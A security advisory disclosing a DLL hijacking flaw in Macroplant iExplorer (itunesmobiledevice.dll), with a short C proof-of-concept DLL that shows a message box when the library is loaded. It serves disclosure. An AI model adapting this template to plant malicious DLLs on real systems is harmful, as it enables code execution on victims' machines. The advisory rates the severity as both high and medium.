Vulnerability Disclosure Timeline: ================================== 2015-01-19: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Macroplant Product: iExplorer Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ Macroplant iExplorer could allow a remote attacker to execute arbitrary code on the system. The application does not directly specify the fully qualified path to a dynamic-linked library (itunesmobiledevice.dll) when running on Microsoft Windows. By persuading a victim to open a specially-crafted file from a WebDAV or SMB share using a vulnerable application, a remote attacker could exploit this vulnerability via a specially-crafted library to execute arbitrary code on the system. Proof of Concept (PoC): ======================= /* * Exploit Title: iExplorer DLL Hijacking Exploit (itunesmobiledevice.dll) * Author: Hadji Samir [] * Vendor Homepage: * Soft link : * Tested on: Windows 7 FR */ #include <windows.h> BOOL WINAPI DllMain ( HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: owned(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } int owned() { MessageBox(0, "iExplorer DLL Hijacked\Hadji Samir", "POC", MB_OK); } Security Risk: ============== The security risk of the local software vulnerability is estimated as medium.
